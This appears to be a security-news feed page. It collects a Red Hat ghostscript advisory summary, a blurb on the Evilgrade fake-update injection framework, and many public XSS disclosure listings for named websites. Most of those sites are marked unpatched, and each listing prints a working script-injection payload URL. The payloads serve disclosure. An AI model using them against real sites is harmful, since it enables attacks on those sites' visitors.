RHEL 7 : ghostscript (RHSA-2018:3834)

The remote Redhat Enterprise Linux 7 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2018:3834 advisory. - ghostscript: Uninitialized memory access in the aesdecode operator 699665 CVE-2018-15911 - ghostscript: Incorrect free logic in pagedevice...

Evilgrade - Modular Framework To Take Advantage Of Poor Upgrade Implementations By Injecting Fake Updates

Evilgrade is a modular framework that allows the user to take advantage of poor upgrade implementations by injecting fake updates. It comes with pre-made binaries agents, a working default configuration for fast pentests, and has it's own WebServer and DNSServer modules. Easy to set up new...

qrz.co.il XSS vulnerability

Vulnerable URL: http://www.qrz.co.il/search.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 11.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 17154963 VIP website status:| No Coordinated Disclosure Timeline: Description| Value...

ski.bg XSS vulnerability

Vulnerable URL: http://www.ski.bg/photoraces.php?lang=fr"bg=other=2012 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 24.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2300869 VIP website status:| No Coordinated Disclosure Timelin...

juliamannes.com XSS vulnerability

Vulnerable URL: http://juliamannes.com/wp-content/plugins/wp-simpleviewer/svcore/full.html?bg="FFFFFF=http://juliamannes.com/workplace/gallery-yoga.xml=true=true=false=true=true=true=fff=fff=true=-1=Julia Mannes Gallery Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

fair-hotels.de XSS vulnerability

Vulnerable URL: http://www.fair-hotels.de/Hotels-Unterkuenfte/Hotel-Suche/resultlist2.php?quicksearchrequest=%22%2F%3E%27%3E%22%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.11.2017 Vulnerability type:|...

ifriends.net XSS vulnerability

Vulnerable URL: https://www.ifriends.net/membrg/msearchv2custom.dll?pfmedia1=Star=aaaaa%22+onfocus%3Dprompt%2FOPENBUGBOUNTY%2F+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%2FOPENBUGBOUNTY%2F%3Edemonium%3C%2Ftag%3E=30 Details: Description| Value ---|--...

m.hardlatingays.com XSS vulnerability

Vulnerable URL: http://m.hardlatingays.com/t1/?nats=t" onmouseover=alert'OPENBUGBOUNTY'; a=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

promenademusic.co.uk XSS vulnerability

Vulnerable URL: http://promenademusic.co.uk/skulist.php?dept=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1168099 VIP website status:| No...

galleries.private.com XSS vulnerability

Vulnerable URL: http://galleries.private.com/week4516-SPE158s04/?nats="%3E%3Csvg onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated V...

moldovanet.net XSS vulnerability

Vulnerable URL: http://www.moldovanet.net/recherche.php?recherche=%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7107361 VIP websi...

acord-92.si XSS vulnerability

Vulnerable URL: http://www.acord-92.si/iskalnik/?isci=%27%22%2F%3E%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%2FOPENBUGBOUNTY%2F%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...

ritchie-jeans.com XSS vulnerability

Vulnerable URL: http://www.ritchie-jeans.com/recherche?orderby=position=descquery=%22%3E+%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C%2Fscript%3E%3C%22&submitRecher.x;=11&submitRecher.y;=11 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:|...

cldv.ca XSS vulnerability

Vulnerable URL: http://www.cldv.ca/en/calendar.php?year=2015=" Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 10:16 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11926508 VIP website status:| No Check cldv....

chauffage.hitachi.fr XSS vulnerability

Open Bug Bounty ID: OBB-154319 Description| Value ---|--- Affected Website:| chauffage.hitachi.fr Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

knowledge.newsweaver.com XSS vulnerability

Vulnerable URL: http://knowledge.newsweaver.com/pkbHome?l=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicl...

judaicasavings.com XSS vulnerability

Vulnerable URL: http://www.judaicasavings.com/product.asp?strParents=%22/%3E%3Csvg/onload=alert%28%27XSSPOSED%27%29%3EID=167ID=6122=search=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...

stoa.org XSS vulnerability

Vulnerable URL: http://www.stoa.org/sol-bin/search.pl?searchstr=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 332957 Google Pagerank|...

chinakdd.com-chinakdd.com XSS vulnerability

Vulnerable URL: http://www.chinakdd.com-www.chinakdd.com/talents/list--100100--10001--10007--0--0--1.html?classname=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:|...

hotelsconcordnc.com XSS vulnerability

Vulnerable URL: http://hotelsconcordnc.com/hotel.php?id=/hotel.php?id=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google Pagerank| 0 VIP website...